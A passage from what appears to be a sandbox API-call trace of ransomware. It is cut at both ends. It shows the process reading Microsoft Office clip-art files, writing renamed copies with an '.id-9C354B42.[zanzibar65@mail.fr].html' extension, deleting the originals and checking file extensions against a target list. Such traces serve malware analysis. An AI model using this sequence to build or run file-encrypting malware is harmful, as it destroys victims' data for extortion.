office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.577] GetLastError () returned 0x0 [0274.577] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x3158, lpOverlapped=0x0) returned 1 [0274.584] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0274.585] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.585] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.585] SetEndOfFile (hFile=0x2f8) returned 1 [0274.635] CloseHandle (hObject=0x2f8) returned 1 [0274.636] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.636] SetEndOfFile (hFile=0x39c) returned 1 [0274.640] CloseHandle (hObject=0x39c) returned 1 [0274.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0274.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.640] lstrlenW (lpString=".doc") returned 4 [0274.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.640] lstrlenW (lpString=".docx") returned 5 [0274.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.640] lstrlenW (lpString=".pdf") returned 4 [0274.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.640] lstrlenW (lpString=".xls") returned 4 [0274.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.641] lstrlenW (lpString=".xlsx") returned 5 [0274.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.641] lstrlenW (lpString=".ppt") returned 4 [0274.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString=".zip") returned 4 [0274.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.641] lstrlenW (lpString=".rar") returned 4 [0274.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString=".bz2") returned 4 [0274.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString=".7z") returned 3 [0274.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString=".dbf") returned 4 [0274.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString=".1cd") returned 4 [0274.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString=".jpg") returned 4 [0274.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.641] lstrlenW (lpString=".doc") returned 4 [0274.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString=".docx") returned 5 [0274.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.641] lstrlenW (lpString=".pdf") returned 4 [0274.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.641] lstrlenW (lpString=".xls") returned 4 [0274.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.642] lstrlenW (lpString=".xlsx") returned 5 [0274.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.642] lstrlenW (lpString=".ppt") returned 4 [0274.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.642] lstrlenW (lpString=".zip") returned 4 [0274.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.642] lstrlenW (lpString=".rar") returned 4 [0274.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.642] lstrlenW (lpString=".bz2") returned 4 [0274.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.642] lstrlenW (lpString=".7z") returned 3 [0274.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.642] lstrlenW (lpString=".dbf") returned 4 [0274.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.642] lstrlenW (lpString=".1cd") returned 4 [0274.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0274.642] lstrlenW (lpString=".jpg") returned 4 [0274.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.642] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.642] lstrlenW (lpString="HH00685_.WMF") returned 12 [0274.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.643] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=4032) returned 1 [0274.643] CloseHandle (hObject=0x39c) returned 1 [0274.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0274.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.643] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.643] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.644] GetLastError () returned 0x0 [0274.644] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xfc0, lpOverlapped=0x0) returned 1 [0274.680] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0274.680] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.680] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.681] SetEndOfFile (hFile=0x2f8) returned 1 [0274.681] CloseHandle (hObject=0x2f8) returned 1 [0274.681] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.681] SetEndOfFile (hFile=0x39c) returned 1 [0274.683] CloseHandle (hObject=0x39c) returned 1 [0274.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0274.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.683] lstrlenW (lpString=".doc") returned 4 [0274.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.683] lstrlenW (lpString=".docx") returned 5 [0274.683] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.683] lstrlenW (lpString=".pdf") returned 4 [0274.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.683] lstrlenW (lpString=".xls") returned 4 [0274.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.683] lstrlenW (lpString=".xlsx") returned 5 [0274.683] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.683] lstrlenW (lpString=".ppt") returned 4 [0274.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.683] lstrlenW (lpString=".zip") returned 4 [0274.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.684] lstrlenW (lpString=".rar") returned 4 [0274.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString=".bz2") returned 4 [0274.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString=".7z") returned 3 [0274.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString=".dbf") returned 4 [0274.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString=".1cd") returned 4 [0274.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString=".jpg") returned 4 [0274.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString=".doc") returned 4 [0274.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString=".docx") returned 5 [0274.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.684] lstrlenW (lpString=".pdf") returned 4 [0274.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString=".xls") returned 4 [0274.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.684] lstrlenW (lpString=".xlsx") returned 5 [0274.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.684] lstrlenW (lpString=".ppt") returned 4 [0274.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.684] lstrlenW (lpString=".zip") returned 4 [0274.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.685] lstrlenW (lpString=".rar") returned 4 [0274.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.685] lstrlenW (lpString=".bz2") returned 4 [0274.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.685] lstrlenW (lpString=".7z") returned 3 [0274.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.685] lstrlenW (lpString=".dbf") returned 4 [0274.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.685] lstrlenW (lpString=".1cd") returned 4 [0274.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0274.685] lstrlenW (lpString=".jpg") returned 4 [0274.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.685] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.685] lstrlenW (lpString="HH00688_.WMF") returned 12 [0274.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.685] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=7084) returned 1 [0274.685] CloseHandle (hObject=0x39c) returned 1 [0274.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0274.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.686] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.686] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0274.686] GetLastError () returned 0x0 [0274.686] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1bac, lpOverlapped=0x0) returned 1 [0274.697] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0274.698] ReadFile (in: hFile=0x39c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.698] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.698] SetEndOfFile (hFile=0x2f8) returned 1 [0274.698] CloseHandle (hObject=0x2f8) returned 1 [0274.698] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.698] SetEndOfFile (hFile=0x39c) returned 1 [0274.700] CloseHandle (hObject=0x39c) returned 1 [0274.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0274.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.700] lstrlenW (lpString=".doc") returned 4 [0274.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString=".docx") returned 5 [0274.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.701] lstrlenW (lpString=".pdf") returned 4 [0274.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString=".xls") returned 4 [0274.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.701] lstrlenW (lpString=".xlsx") returned 5 [0274.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.701] lstrlenW (lpString=".ppt") returned 4 [0274.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString=".zip") returned 4 [0274.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.701] lstrlenW (lpString=".rar") returned 4 [0274.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString=".bz2") returned 4 [0274.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString=".7z") returned 3 [0274.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString=".dbf") returned 4 [0274.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString=".1cd") returned 4 [0274.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString=".jpg") returned 4 [0274.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.701] lstrlenW (lpString=".doc") returned 4 [0274.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString=".docx") returned 5 [0274.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.702] lstrlenW (lpString=".pdf") returned 4 [0274.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString=".xls") returned 4 [0274.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.702] lstrlenW (lpString=".xlsx") returned 5 [0274.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.702] lstrlenW (lpString=".ppt") returned 4 [0274.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.702] lstrlenW (lpString=".zip") returned 4 [0274.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.702] lstrlenW (lpString=".rar") returned 4 [0274.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString=".bz2") returned 4 [0274.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString=".7z") returned 3 [0274.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.702] lstrlenW (lpString=".dbf") returned 4 [0274.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.702] lstrlenW (lpString=".1cd") returned 4 [0274.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0274.702] lstrlenW (lpString=".jpg") returned 4 [0274.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.702] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.702] lstrlenW (lpString="HH01013_.WMF") returned 12 [0274.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.711] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2848) returned 1 [0274.711] CloseHandle (hObject=0x3a0) returned 1 [0274.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0274.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.711] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.711] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 